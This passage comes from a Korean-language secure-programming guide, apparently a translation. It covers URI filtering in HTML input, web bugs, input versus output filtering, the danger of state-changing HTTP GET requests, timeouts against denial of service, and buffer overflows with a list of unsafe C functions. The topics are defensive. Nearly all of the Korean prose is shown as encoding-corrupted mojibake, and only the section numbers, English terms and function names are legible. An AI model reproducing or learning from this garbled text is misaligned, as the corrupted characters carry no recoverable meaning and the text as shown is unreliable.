ÀÖ´Ù

ÀÌ·¯ÇÑ ¸ðµç ÆÐÅϵéÀº Àüü URI °¡ ÆÐÅϰú ÀÏÄ¡ÇÔÀ» ¿ä±¸ÇÔÀ» ÁÖ¸ñÇϱ⠹ٶõ´Ù. ÀÌ·¯ÇÑ ÆÐÅϵéÀÇ ºÎÀûÀýÇÔÀº À̵éÀÌ ¸¹Àº À¯¿ëÇÑ ÆÐÅÏÀ» ±ÝÁöÇÏ´Â ¹æ½ÄÀ¸·Î Çã¿ë°¡´ÉÇÑ ÆÐÅÏÀ» Á¦ÇÑÇÑ´Ù´Â °ÍÀÌ´Ù (¿¹, À̵éÀº »õ·Î¿î URI ½ºÅ´ÀÇ »ç¿ëÀ» ¹æÇØÇÑ´Ù). ¶ÇÇÑ ¾î¶² ÆÐÅϵµ ¾î¶² À¥»çÀÌÆ®°¡ ÁúÀǸ¦ ¹Þ¾ÒÀ» ¶§ ÀÌ ÀÌ»óÀ¸·Î ¼öÇàÇÏ´Â ½ÇÁ¦ÀûÀÎ ¹®Á¦¸¦ ¿¹¹æÇÒ ¼ö´Â ¾ø´Ù - ±×¸®°í ÀÌ·¯ÇÑ À¥»çÀÌÆ®´Â Á¶Á÷¿¡ ³»ºÎÀûÀÌ´Ù. ±× °á°ú·Î GET ÁúÀǸ¦ action À¸·Î ¹Þ¾ÆµéÀÌ´Â À¥»çÀÌÆ®°¡ ÀÖ¾î¾ß¸¸ URI °¡ ½ÇÁ¦·Î ¾ÈÀüÇÒ °ÍÀÌ´Ù (4.11절À» º¸¶ó). ÇÕ¹ýÀûÀÎ URLs/URIs ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â IEFT RFC 2396 À» º¸¶ó; µµ¸ÞÀÎ ³×ÀÓ ±¸¹®Àº IEFT RFC 1034 ¿¡¼­ ´õ¿í ½ÉµµÀÖ°Ô ³íÀǵǰí ÀÖ´Ù.


4.10.5. ´Ù¸¥ HTML ű×

¾Æ¸¶µµ ´õ¿í ¸¹Àº HTML ű×ÀÇ Áö¿øÀ» °í·ÁÇÒ ¼öµµ ÀÖ´Ù. ¸í¹éÇÑ ´ÙÀ½ ¼±ÅÃÀº <ol> (ordered list), <ul> (unordered list) ¹× <li> (list item) °ú °°Àº ¸®½ºÆ® ÁöÇâ ű׵éÀÌ´Ù. ±×·¯³ª ¾î¶² ½ÃÁ¡ ÈÄ¿¡´Â ½ÇÁ¦·Î ¿ÏÀüÇÑ ÃâÆÇ °ü·Ã ű׸¦ Çã¿ëÇϰí ÀÖ´Ù (ÀÌ·± °æ¿ì Á¦°øÀÚ¸¦ ½Å·ÚÇϰųª ¿©±â ³íÀÇµÉ °Íº¸´Ù ´õ¿í ¾ö°ÝÇÑ °Ë»ç¸¦ ¼öÇàÇÒ Çʿ䰡 ÀÖ´Ù). ´õ¿í´õ Áß¿äÇÏ°Ô Ãß°¡µÇ´Â ¸ðµç »õ·Î¿î ±â´É¼ºÀº ¿¡·¯¿¡ ´ëÇÑ ±âȸ¸¦ »ý¼ºÇÑ´Ù (¶ÇÇÑ ¾Ç¿ëµÉ ¼öµµ ÀÖ´Ù).

´Ù¸¥ ¿¹·Î´Â µ¿ÀÏÇÑ URI ÆÐÅÏÀ» °®°í <img> ű׸¦ Çã¿ëÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ÀÌ´Â Á¦»ïÀÚ¿¡°Ô ¹®¼­¸¦ ´©°¡ ¾ðÁ¦ Àоú´ÂÁö ½Äº°ÇÒ ¼ö ÀÖ´Â À¥ ¹ö±×¸¦ ¹®¼­¿¡ ³¢¿ö³Ö´Â °ÍÀ» Çã¿ëÇϱ⠶§¹®¿¡ ´ëü·Î ´ú ¾ÈÀüÇÏ´Ù°í ¾Ë·ÁÁ® ÀÖ´Ù. À¥ ¹ö±×¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 7.6절 À» º¸¶ó.


4.10.6. °ü·Ã ÀïÁ¡

À¥ ¾ÖÇø®ÄÉÀ̼ÇÀº ¸í½ÃÀûÀ¸·Î ¹®Àڼ (º¸Åë ISO-8859-1) À» ÁöÁ¤ÇØ¾ß ÇÏ¸ç ½Å·ÚµÇÁö ¾ÊÀº »ç¿ëÀڷκÎÅÍÀÇ µ¥ÀÌŸ°¡ »ç¿ëµÈ´Ù¸é ´Ù¸¥ ¹®ÀÚ¸¦ Çã¿ëÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ ¾ò±â À§Çؼ­´Â 8.5절 À» º¸¶ó.

ÀÌ·¯ÇÑ Á¾·ùÀÇ ÀÔ·ÂÀ» ÇÊÅ͸µÇÏ´Â °ÍÀÌ À߸øµÇ´Â °ÍÀº ½±±â ¶§¹®¿¡ ´Ù¸¥ ´ë¾Èµéµµ ¶ÇÇÑ ³íÀÇµÇ¾î ¿Ô´Ù. ÇѰ¡Áö ¿É¼ÇÀº »ç¿ëÀڵ鿡°Ô HTML º¸´Ù ´õ¿í °£´ÜÇÑ ¿©·¯ºÐÀÌ ¼³°èÇÑ ´Ù¸¥ ¾ð¾î¸¦ »ç¿ëÇÒ °ÍÀÎÁö ¹¯´Â °ÍÀÌ´Ù - ±× ¾ð¾î¿¡´Â ¸Å¿ì Á¦ÇÑµÈ ±â´É¼ºÀ» ºÎ¿©ÇÑ´Ù. ´Ù¸¥ Á¢±Ù ¹æ¹ýÀº HTML À» ¾î¶² ³»ºÎÀÇ "¾ÈÀüÇÑ" Æ÷¸ËÀ¸·Î ºÐ¼®ÇÑ ÈÄ ±× ¾ÈÀüÇÑ Æ÷¸ËÀ» ´Ù½Ã HTML À¸·Î ÀüȯÇÏ´Â °ÍÀÌ´Ù

ÀÔ·Â, Ãâ·Â ¶Ç´Â µÑ ¸ðµÎ¿¡ ´ëÇØ ÇÊÅ͸µÀ» ÇàÇÒ ¼ö ÀÖ´Ù. CERT ´Â µ¥ÀÌŸ°¡ µ¿Àû ÆäÀÌÁöÀÇ ÀϺκÐÀÌ µÇ±â ÀüÀÎ Ãâ·Â µ¿¾È¿¡ µ¥ÀÌŸ¸¦ ÇÊÅ͸µÇϵµ·Ï ±Ç°íÇÑ´Ù. ÀÌ´Â ¿Ã¹Ù¸£°Ô ÇàÇØÁø´Ù¸é ÀÌ·¯ÇÑ Á¢±Ù ¹æ¹ýÀÌ ¸ðµç µ¿Àû ÄÁÅÙÆ®°¡ ÇÊÅ͸µµÊÀ» º¸ÀåÇϱ⠶§¹®ÀÌ´Ù. CERT ´Â µ¿Àû ÄÁÅÙÆ®°¡ HTTP ÀÌ¿ÜÀÇ ´Ù¸¥ ¹æ¹ýÀ» ÅëÇØ À¥»çÀÌÆ®ÀÇ µ¥ÀÌŸº£À̽º¿¡ µé¾î°¥ ¼ö Àֱ⶧¹®¿¡ ÀÔ·Â ½ÃÀÇ ÇÊÅ͸µÀº ±×´ÙÁö È¿°úÀûÀÌÁö ¾ÊÀ¸¸ç ÀÌ·± °æ¿ì¿¡ ÀÖ¾î À¥ ¼­¹ö´Â ÀÔ·Â ÇÁ·Î¼¼½ºÀÇ ÀϺκÐÀ¸·ÎÀÇ µ¥ÀÌŸ¸¦ ÀüÇô º¼ ¼ö ¾øÀ» °ÍÀ̶ó°í ¹Ï°í ÀÖ´Ù. µ¿Àû ÆäÀÌÁö°¡ µé¾î°¡´Â ¸ðµç °÷¿¡¼­ ÇÊÅ͸µÀÌ ±¸ÇöµÇÁö ¾Ê´Â´Ù¸é µ¥ÀÌŸ ¿ä¼Ò´Â ¼Õ»óµÈ ä·Î ³²¾ÆÀÖÀ» ¼öµµ ÀÖ´Ù.

±×·¯³ª ÀúÀÚ´Â ¸ðµç °æ¿ì¿¡ ´ëÇØ ÀÌÁ¡¿¡ ´ëÇØ CERT ¿¡ µ¿ÀÇÇÏÁö ¾Ê´Â´Ù. ¹®Á¦´Â ÀԷ¸¸Å­ ¸ðµç Ãâ·ÂÀ» ÇÊÅ͸µÇÏ´Â °ÍÀ» ÀØ´Â °ÍÀº ½¬¿ì¸ç ¼Õ»óµÈ ÀÔ·ÂÀ» ½Ã½ºÅÛÀ¸·Î ³Ö´Â °ÍÀ» Çã¿ëÇÏ´Â °ÍÀº ¾î¶µç ÀϾ±æ ±â´Ù¸®´Â Àç¾ÓÀ̶ó´Â °ÍÀÌ´Ù. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥Àº ±× ÀÔ·ÂÀ» ¾î¶µç ÇÊÅ͸µÇؾßÇÏ¸ç µû¶ó¼­ ÀÔ·Â ÇÊÅ͸µÀÇ ÀϺκÐÀ¸·Î ¸ðµç ÀÌ·¯ÇÑ °Ë»ç¸¦ Æ÷ÇÔÇÏ´Â °ÍÀÌ ¶§¶§·Î ´õ¿í ÁÁ´Ù (±×·¡¼­ °ü¸®ÀÚ´Â ±ÔÄ¢ÀÌ ½ÇÁ¦·Î ¹«¾ùÀÓÀ» º¼ ¼ö ÀÖÀ» °ÍÀÌ´Ù). ¸¶Áö¸·À¸·Î ¾î¶² º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥¿¡¼­ °ªÀ» Ãâ·ÂÇÒ ¼ö ÀÖ´Â ¸¹Àº ´Ù¸¥ ÇÁ·Î±×·¥ À§Ä¡°¡ ÀÖÁö¸¸ µ¥ÀÌŸ°¡ ÀÔ·ÂÀ¸·Î µé¾î°¥ ¼ö ÀÖ´Â ¹æ½Ä°ú À§Ä¡´Â ¸î°¡Áö ¸¸ÀÌ ÀÖ´Ù´Â °ÍÀÌ´Ù.; ÀÌ·¯ÇÑ °æ¿ì¿¡ À־ ÀÔ·Â ÇÊÅ͸µÀ» ÇÏ´Â °ÍÀÌ ´õ¿í ÁÁÀº °ßÇØÀÏ °ÍÀÌ´Ù.


4.11. ºñÁúÀǸ¦ ¼öÇàÇÏ´Â HTTP GET À» ±ÝÁöÇØ¶ó

HTTP ¸¦ »ç¿ëÇÏ´Â À¥ ±â¹Ý ¾ÖÇø®ÄÉÀ̼ÇÀº ÁúÀÇ¿ÜÀÇ ´Ù¸¥ °Í¿¡ ´ëÇØ HTTP ``GET" ¶Ç´Â ``HEAD" ¸Þ½îµå¸¦ »ç¿ëÇÏÁö ¸øÇϵµ·Ï ÇÑ´Ù. HTTP ´Â ¿©·¯°¡Áö ¸¹Àº ¸Þ½îµåµéÀ» Æ÷ÇÔÇϰí Àִµ¥ °¡Àå ³Î¸® »ç¿ëµÇ°í ÀÖ´Â µÎ°¡Áö ¸Þ½îµå´Â GET °ú POST ÀÌ´Ù. GET °ú POST ¸ðµÎ ÆûÀ¸·Î µ¥ÀÌŸ¸¦ Àü¼ÛÇϴµ¥ »ç¿ëÇÒ ¼ö Àִµ¥ GET ¸Þ½îµå´Â URL ·Î µ¥ÀÌŸ¸¦ Àü¼ÛÇÏ´Â ¹Ý¸é POST ¸Þ½îµå´Â µ¥ÀÌŸ¸¦ °³º°ÀûÀ¸·Î Àü¼ÛÇÑ´Ù.

ºñÁúÀÇ (µ¥ÀÌŸ º¯°æ, µ· ÀÌü ¶Ç´Â ¼­ºñ½º ¼­¸í°ú °°Àº) ¸¦ ¼öÇàÇϱâ À§ÇØ GET ¸Þ½îµå¸¦ »ç¿ëÇÒ ¶§ÀÇ º¸¾È ¹®Á¦´Â °ø°ÝÀÚ°¡ ¾ÇÀÇÀÖ´Â Æû µ¥ÀÌŸ¸¦ Æ÷ÇÔÇÏ´Â URL °ú ÇÏÀÌÆÛÅØ½ºÆ® ¸µÅ©¸¦ »ý¼ºÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. °ø°ÝÀÚ°¡ ¼Ó´Â »ç¶÷ÀÌ ¸µÅ© (ÇÏÀÌÆÛÅØ½ºÆ® ¸µÅ©ÀÇ °æ¿ì) ¸¦ Ŭ¸¯Çϰųª ¶Ç´Â ±×Àú ÆäÀÌÁö (HTML ÀÇ img ű׸¦ °®´Â À̹ÌÁö¿Í °°Àº ´Ù¸¥ °÷¿¡ Æ÷ÇÔµÈ transcluded Á¤º¸ÀÇ °æ¿ì) ¸¦ º¸µµ·Ï ³³µæ½ÃŲ´Ù¸é ¼Ó´Â »ç¶÷Àº GET À» ¼öÇàÇÒ °ÍÀÌ´Ù. GET ÀÌ ¼öÇàµÉ ¶§ °ø°ÝÀÚ°¡ »ý¼ºÇÑ ¸ðµç Æû µ¥ÀÌŸ´Â ¼Ó´Â »ç¶÷¿¡ ÀÇÇØ ÁöÁ¤µÈ ¸µÅ©·Î º¸³»Áú °ÍÀÌ´Ù. À̰ÍÀÌ 6.13절 ¿¡¼­ ½ÉµµÀÖ°Ô ³íÀÇµÉ cross-site malicious attack ÀÌ´Ù.

¾ÇÀÇÀÖ´Â cross-site °ø°ÝÀÌ ¼öÇàÇÒ ¼ö ÀÖ´Â ´Ü ÇϳªÀÇ µ¿ÀÛÀº »ç¿ëÀÚ·Î ÇÏ¿©±Ý ¿¹»óÄ¡ ¸øÇÑ µ¥ÀÌŸ¸¦ º¸µµ·Ï ÇÏ´Â °ÍÀ¸·Î ÀÌ´Â ±×´ÙÁö ½É°¢ÇÑ ¹®Á¦´Â ¾Æ´Ï´Ù. ±×·¯³ª ÀÌ ´É·ÂÀ» ÀÌ¿ëÇØ¼­ ¾î¶² °ø°ÝÀ» ÇàÇÒ ¼ö Àֱ⠶§¹®¿¡ ¿©ÀüÈ÷ ¹®Á¦°¡ µÉ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î ºñÇÕ¹ýÀûÀÎ ¶Ç´Â ¿¬·ç½Ãų ¼ö ÀÖ´Â ÀÚ·á (material) À» ¿äûÇÏ´Â °ÍÀ¸·ÎºÎÅÍ ³ª¿Ã ¼ö ÀÖ´Â ¿¹±âÄ¡ ¸øÇßÁö¸¸ ½ÇÁ¦ ¼¼°è¿¡ ¿µÇâÀ» ³¢Ä¥ ¼ö ÀÖ´Â ¹«¾ùÀΰ¡¸¦ ¿äûÇÏ´Â »ç¿ëÀÚ¶§¹®¿¡ ¶Ç´Â »ç¿ëÀÚ·Î ÇÏ¿©±Ý º¸ÅëÀº ³ëÃâµÉ ¼ö ¾øÁö¸¸ °ø°ÝÀÚ¿¡°Ô ³ëÃâµÉ Áö ¸ð¸¦ ¾î¶² ¹æ½ÄÀ¸·Î Á¤º¸¸¦ ¿äûÇϰԲû ÇÔÀ¸·Î½á ÇÁ¶óÀ̹ö½Ã°¡ ¼Õ½ÇµÉ °¡´É¼ºÀÌ ÀÖ´Ù. ±×·¯³ª ¾ÇÀÇÀûÀÎ °ø°ÝÀÚ°¡ µ¥ÀÌŸ º¸±â¸¸ÀÌ ¾Æ´Ï¶ó cross-site ¸µÅ©¸¦ ÅëÇØ µ¥ÀÌŸ º¯°æÀ» ¾ß±âÇÒ ¼ö ÀÖ´Ù¸é ´õ¿í ´õ ½É°¢ÇÑ È¿°ú¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Ù.

´ëºÎºÐÀÇ CGI ¶óÀ̺귯¸®¿Í °°Àº ÀüÇüÀûÀÎ HTTP ÀÎÅÍÆäÀ̽º´Â µ¥ÀÌŸ¸¦ ¾ò´Âµ¥ ÀÖ¾î GET °ú POST ¸¦ µ¿ÀÏÇÑ ¹æ½ÄÀ» °®´Â ¸Þ½îµå·Î ´Ù·ç´Â °ÍÀÌ µµ¿òÀÌ µÇ±â ¶§¹®¿¡ º¸Åë ÀÌ µÑÀÇ Â÷À̸¦ °¨Ãá´Ù. ±×·¯³ª ½ÇÁ¦·Î µ¥ÀÌŸ ÁúÀÇÀÌ¿ÜÀÇ ¹«¾ùÀΰ¡¸¦ ¾ß±âÇÏ´Â µ¿ÀÛ¿¡ ´ëÇØ¼­´Â ¿äûÀÌ POST ÀÌ¿ÜÀÇ ¾î¶² °ÍÀÎÁö¸¦ ¾Ë±â À§ÇØ °Ë»çÇØ¶ó; ¸¸¾à ±×·¸´Ù¸é ÁÖ¾îÁø µ¥ÀÌŸ·Î ä¿öÁø ÆûÀ» º¸¿©¼­ »ç¿ëÀڵ鿡°Ô ±×µéÀÌ ¿äûÇÑ °ÍÀÎÁö¸¦ È®ÀÎÇϵµ·Ï ¹°¾î¶ó. ÀÌ´Â cross-site malicious content °ø°ÝÀ» ¿¹¹æÇÒ °ÍÀÌ¸ç µ¿½Ã¿¡ ÇÑ ¹øÀÇ Å¬¸¯À¸·Î µ¿ÀÛÀ» È®ÀÎÄÉ ÇÏ´Â ÆíÀǼºÀ» »ç¿ëÀÚ¿¡°Ô Á¦°øÇÏ´Â °ÍÀÌ´Ù.

Á¤¸» ÀÌ µ¿ÀÛÀº HTTP ½ºÆå¿¡ ÀÇÇØ °­·ÂÈ÷ ÃßõµÇ°í ÀÖ´Ù. HTTP 1.1 ½ºÆå (IEFT RFC 2616 9.1.1. Àý) ¿¡ µû¸£¸é GET °ú POST ¸Þ½îµå´Â °Ë»öÀÌ¿ÜÀÇ ´Ù¸¥ µ¿ÀÛÀ» ÃëÇÏ´Â Àǹ̸¦ °¡Á®¼­´Â ¾ÈµÈ´Ù. ÀÌ·¯ÇÑ ¸Þ½îµåµéÀº ¾ÈÀüÇÏ´Ù°í °í·ÁµÇ¾î¾ß ÇÑ´Ù. ÀÌ´Â »ç¿ëÀÚ ¿¡ÀÌÀüÆ®·Î ÇÏ¿©±Ý Ưº°ÇÑ ¹æ½ÄÀ¸·Î POST, PUT °ú DELETE ¿Í °°Àº ´Ù¸¥ ¸Þ½îµå¸¦ ³ªÅ¸³¾ ¼ö ÀÖ°Ô ÇÏ¸ç µû¶ó¼­ »ç¿ëÀÚ´Â ¾Æ¸¶µµ ¾ÈÀüÇÏÁö ¸øÇÑ µ¿ÀÛÀÌ ¿äûµÇ°í ÀÖ´Ù´Â »ç½ÇÀ» ¾Ë°Ô µÈ´Ù.


4.12. ÇÕ´çÇÑ ÀÔ·Â ½Ã°£ ¹× ·Îµå ·¹º§À» Á¦ÇÑÇØ¶ó

ƯÈ÷ µé¾î¿À´Â ³×Æ®¿öÅ© µ¥ÀÌŸ¿¡ ŸÀӾƿô°ú ·Îµå ·¹º§ Çѵµ¸¦ ¼³Á¤ÇØ ³õ¾Æ¶ó. ±×·¸Áö ¾Ê´Ù¸é °ø°ÝÀÚ°¡ ²÷ÀÓ¾øÀÌ ¼­ºñ½º¸¦ ¿äûÇÔÀ¸·Î½á ¼­ºñ½º ºÎÀÎ °ø°ÝÀ» ½±°Ô ÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù.


5장. ¹öÆÛ¿À¹öÇ÷οì ÇÇÇϱâ

 

An enemy will overrun the land; he will pull down your strongholds and plunder your fortresses.

 Amos 3:11 (NIV)

±ØÈ÷ °øÅëÀûÀÎ º¸¾È °áÇÔÀº "¹öÆÛ ¿À¹öÇ÷οì" ¿¡ ´ëÇÑ Ãë¾à¼ºÀÌ´Ù. ¹öÆÛ ¿À¹öÇ÷οì´Â "¹öÆÛ ¿À¹ö·±" À̶ó°íµµ Çϴµ¥ "stack smashing" °ú "heap smashing" °ø°ÝÀ» Æ÷ÇÔÇÏ¿© ¸¹Àº Á¾·ùÀÇ ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°ÝÀÌ ÀÖ´Ù. ±â¼úÀûÀ¸·Î ¹öÆÛ ¿À¹öÇ÷οì´Â ÇÁ·Î±×·¥ÀÇ ³»ºÎÀûÀÎ ±¸Çö°ú °ü·ÃµÈ ¹®Á¦ÀÌÁö¸¸ ÀúÀÚ°¡ À̸¦ µ¶ÀÚÀûÀÎ Àå¿¡¼­ ´Ù·ê¸¸Å­ ³Î¸® ¾Ë·ÁÁø ½É°¢ÇÑ ¹®Á¦ÀÌ´Ù. ÀÌ ÁÖÁ¦°¡ ¾ó¸¶³ª Áß¿äÇÑ Áö¿¡ ´ëÇØ ÀÌÇØ½Ã۱â À§ÇØ CERT ¿¡¼­´Â 1998 ³â¿¡´Â 13 °³ ±Ç°í¾È Áß 9°³ ¹× 1999 ³â¿¡´Â Àû¾îµµ Àý¹ÝÀÇ ±Ç°í¾È¿¡ ¹öÆÛ ¿À¹öÇ÷ο츦 Æ÷ÇÔÇß´Ù. ¹ö±×Æ®·¢¿¡ ´ëÇÑ 1999 ³âÀÇ ºñ°ø½ÄÀû Á¶»ç´Â ´ë·« ÀÀ´äÀÚÀÇ 2/3 °¡ ¹öÆÛ ¿À¹öÇ÷ο찡 ½Ã½ºÅÛ º¸¾ÈÀ» Ãë¾àÇÏ°Ô ÇÏ´Â ÁÖµÈ ¿äÀÎÀÌ¿´´Ù°í ´À²¼À½À» ¹ß°ßÇß´Ù (³ª¸ÓÁö ÀÀ´äÀÚ´Â ¿À¼³Á¤À» ÁÖµÈ ¿äÀÎÀ¸·Î ½Äº°ÇÏ¿´´Ù) [Cowan 1999]. ÀÌ´Â Àß ¾Ë·ÁÁø ¿À·¡µÈ ¹®Á¦·Î ¾ÆÁ÷²¯ °è¼ÓÇØ¼­ ¹®Á¦·Î ´ëµÎµÇ°í ÀÖ´Ù [McGraw 2000].

¹öÆÛ ¿À¹öÇ÷οì´Â º¸Åë ¹®ÀÚµéÀÇ ¹®ÀÚ¿­ÀÎ ÀÏ·ÃÀÇ °ªµéÀ» °íÁ¤µÈ ±æÀ̸¦ °®´Â ¹öÆÛ¿¡ ÀÛ¼ºÇϰí Àû¾îµµ ÇÑ °ªÀ» ¹öÆÛÀÇ °æ°è ¿ÜºÎ (º¸Åë ¹öÆÛ °æ°è¸¦ ³Ñ¾î¼±´Ù) ¿¡ ÀÛ¼ºÇÒ ¶§ ÀϾ´Ù. ¹öÆÛ ¿À¹öÇ÷οì´Â »ç¿ëÀڷκÎÅÍÀÇ ÀÔ·ÂÀ» ¹öÆÛ³»·Î ÀоîµéÀÏ ¶§ ÀϾ ¼ö ÀÖÁö¸¸ ¶ÇÇÑ ÇÁ·Î±×·¥³»¿¡¼­ ´Ù¸¥ Á¾·ùÀÇ ÇÁ·Î¼¼½Ì µ¿¾È¿¡ ÀϾ ¼öµµ ÀÖ´Ù.

º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÌ ¹öÆÛ ¿À¹öÇ÷ο츦 Çã¿ëÇÑ´Ù¸é ÀÌ´Â ´ë°³ °ø°ÝÀÚ¿¡ ÀÇÇØ ¾Ç¿ëµÉ ¼ö ÀÖ´Ù. ¹öÆÛ°¡ Áö¿ªÀûÀÎ C º¯¼ö¶ó¸é ¿À¹öÇ÷οì´Â ÇÔ¼ö·Î ÇÏ¿©±Ý °ø°ÝÀÚ°¡ ¼±ÅÃÇÑ Äڵ带 ½ÇÇà½Ã۵µ·Ï Çϴµ¥ »ç¿ëµÉ ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ Æ¯Á¤ º¯ÇüÀ» ´ë°³ "stack smashing" °ø°ÝÀ̶ó°í ÇÑ´Ù. Èü¿¡¼­ ¹öÆÛ´Â ´õ¿í ÁÁÁö ¾ÊÀºµ¥ °ø°ÝÀÚ°¡ ÇÁ·Î±×·¥³»ÀÇ ´Ù¸¥ º¯¼ö¸¦ Á¦¾îÇϱâ À§ÇØ ¿À¹öÇÃ·Î¿ì µîÀ» »ç¿ëÇÒ ¼ö ÀÖÀ» Áöµµ ¸ð¸¥´Ù. ´õ¿í ¼¼ºÎÀûÀÎ »çÇ×Àº Aleph1 [1996], Mudge[1995] ¶Ç´Â Nathan P. Smith ÀÇ "Stack Smashing Security Vulnerabilities" À¥»çÀÌÆ® http://destroy.net/machines/security/ ¿¡¼­ ãÀ» ¼ö ÀÖ´Ù.

´ëºÎºÐÀÇ »óÀ§ ¼öÁØ ÇÁ·Î±×·¡¹Ö ¾ð¾î´Â ÀÚµ¿ÀûÀ¸·Î ¹è¿­ÀÇ Å©±â¸¦ Á¶Á¤Çϰųª (¿¹, ÆÞ) ¶Ç´Â º¸Åë ¹öÆÛ ¿À¹öÇ÷ο츦 ŽÁöÇØ¼­ ¿¹¹æÇϱ⠶§¹®¿¡ (¿¹, Ada95) º»ÁúÀûÀ¸·Î ÀÌ ¹®Á¦´Â ¾ø´Ù.±×·¯³ª C ¾ð¾î´Â ÀÌ ¹®Á¦¿¡ ´ëÇØ ¾î¶°ÇÑ º¸È£µµ Á¦°øÇÏÁö ¾ÊÀ¸¸ç C++ µµ ¶ÇÇÑ ÀÌ ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Â ¹æ½ÄÀ¸·Î ½±°Ô »ç¿ëµÉ ¼ö ÀÖ´Ù. ¾î¼Àºí·¯µµ ¶ÇÇÑ ¾î¶°ÇÑ º¸È£µµ Á¦°øÇÏÁö ¾Ê´Âµ¥ º¸Åë ÀÌ·¯ÇÑ º¸È£¸¦ Á¦°øÇÏ´Â ¾î¶² ¾ð¾î (¿¹, Ada ¿Í ÆÄ½ºÄ®) µéÀº ÀÌ º¸È£ ±â´ÉÀ» ¼º´ÉÀûÀÎ Ãø¸é¿¡¼­ ±ÝÁöÇÒ ¼ö ÀÖ´Ù. ´ëºÎºÐÀÇ ÇÁ·Î±×·¥ÀÌ ´Ù¸¥ ¾ð¾î·Î ÀÛ¼ºµÈ´Ù ÇÏ´õ¶óµµ ¸¹Àº ¶óÀ̺귯¸® ·çƾÀº C ¶Ç´Â C++ ·Î ÀÛ¼ºµÇ¾î ÀÖÀ¸¸ç °á°úÀûÀ¸·Î ÀÌ ·çƾÀ» È£ÃâÇÏ´Â glue Äڵ嵵 ¸¶Âù°¡ÁöÀε¥ µû¶ó¼­ ¿øÇÏ´Â ¸¸Å­ ´Ù¸¥ ¾ð¾îµéÀº ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇÑ ¿ÏÀüÇÑ º¸È£¸¦ Á¦°øÇÏÁö´Â ¾Ê´Â´Ù.


5.1. C/C++ ¿¡¼­ÀÇ À§Çè

C »ç¿ëÀÚ´Â °æ°è (bound) ¸¦ °Ë»çÇÏÁö ¾Ê´Â À§ÇèÇÑ ÇÔ¼ö°¡ °æ°è°¡ Àý´ë·Î ÃʰúµÇÁö ¾ÊÀ» °ÍÀÌ´Ù¶ó´Â º¸ÀåÀ» ÇÏÁö ¾Ê´Â´Ù¸é À̸¦ »ç¿ëÇÏ´Â °ÍÀ» ÇÇÇØ¾ß ÇÑ´Ù. ´ëºÎºÐÀÇ °æ¿ì¿¡ ÀÖ¾î ÇÇÇØ¾ß µÉ (¶Ç´Â º¸È£¸¦ º¸ÀåÇØ¾ßÇÒ) ÇÔ¼ö´Â strcpy(3), strcat(3), sprintf(3) (ÀÌ¿Í À¯»çÇÑ vsprintf(3)) °ú gets(3) Àε¥ À̵éÀº °¢°¢ strncpy(3), strncat(3), snprintf(3) °ú fgets(3) À¸·Î ´ëüµÇ¾î¾ßÇÑ´Ù. ¹ØºÎºÐÀÇ ³íÀǸ¦ º¸¶ó. strlen(3) ÇÔ¼öµµ ÀÖ¾î¾ß µÉ Á¾°á NIL ¹®ÀÚ°¡ ÀÖÀ» °ÍÀÌ´Ù¶ó°í º¸ÀåÇÏÁö ¸øÇÑ´Ù¸é ÇÇÇØ¾ß ÇÑ´Ù. scanf(3), fscanf(3), sscant(3), vscanf(3), vsscanf(3) °ú vfscant(3) °ú °°Àº scanf() °è¿­µµ »ç¿ëÇϱ⿡´Â À§ÇèÇÏ´Ù; ¹®ÀÚ¿­ÀÇ ÃÖ´ë ±æÀ̸¦ Á¦¾îÇÔÀÌ ¾øÀÌ µ¥ÀÌŸ¸¦ ¹®ÀÚ¿­·Î º¸³»±â À§ÇØ ÀÌ ÇÔ¼öµéÀ» »ç¿ëÇÏÁö ¸¶¶ó (%s Æ÷¸ËÀÌ Æ¯È÷ ³Î¸® ¾Ë·ÁÁø ¹®Á¦ÀÌ´Ù). ¾îµð¿¡ »ç¿ëÇÏ´À³Ä¿¡ µû¶ó ¹öÆÛ ¿À¹ö·±À» Çã¿ëÇÒ ¼ö ÀÖ´Â ´Ù¸¥ À§ÇèÇÑ ÇÔ¼ö·Î´Â realpath(3), getopt(3), getpass(3), streadd(3), strecpy(3) °ú strtrns(3) µéÀÌ ÀÖ´Ù. getwd(3) ÇÔ¼ö¿¡ ÁÖÀÇÇØ¾ßÇϴµ¥ getwd(3) ÇÔ¼ö¿¡ º¸³»Áö´Â ¹öÆÛ´Â Àû¾îµµ PATH_MAX ¹ÙÀÌÆ® ±æÀÌ¿©¾ß ÇÑ´Ù.

ºÒÇàÈ÷ snprintf() º¯ÇüµéÀº Ãß°¡ÀûÀÎ ¹®Á¦¸¦ °®°í ÀÖ´Ù. sprintf() °¡ ISO 1990 (ANSI 1989) Ç¥Áس»ÀÇ Ç¥ÁØ C ÇÔ¼öÀÌÁö¸¸ °ø½ÄÀûÀ¸·Î snprintf() ´Â Ç¥ÁØ C ÇÔ¼ö°¡ ¾Æ´Ï¸ç µû¶ó¼­ ¸ðµç ½Ã½ºÅÛµéÀÌ snprintf() ¸¦ Æ÷ÇÔÇÏÁö ¾Ê´Â´Ù. ´õ¿í ¾ÈÁÁÀº °ÍÀº ¾î¶² ½Ã½ºÅÛÀÇ snprintf() °¡ ½ÇÁ¦ÀûÀ¸·Î ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇÑ º¸È£¸¦ Á¦°øÇÏÁö ¾Ê´Â´Ù´Â °ÍÀÌ´Ù; ½Ã½ºÅÛµéÀÌ ±×Àú sprintf ¸¦ Á÷Á¢ÀûÀ¸·Î È£ÃâÇÑ´Ù. ¸®´ª½º libc4 ÀÇ ¿¹Àü ¹öÀüµéÀº ÀÌ·¯ÇÑ ²ûÁ÷ÇÑ ¹®Á¦¸¦ ¾ß±âÇÏ´Â "libbsd" ¿¡ 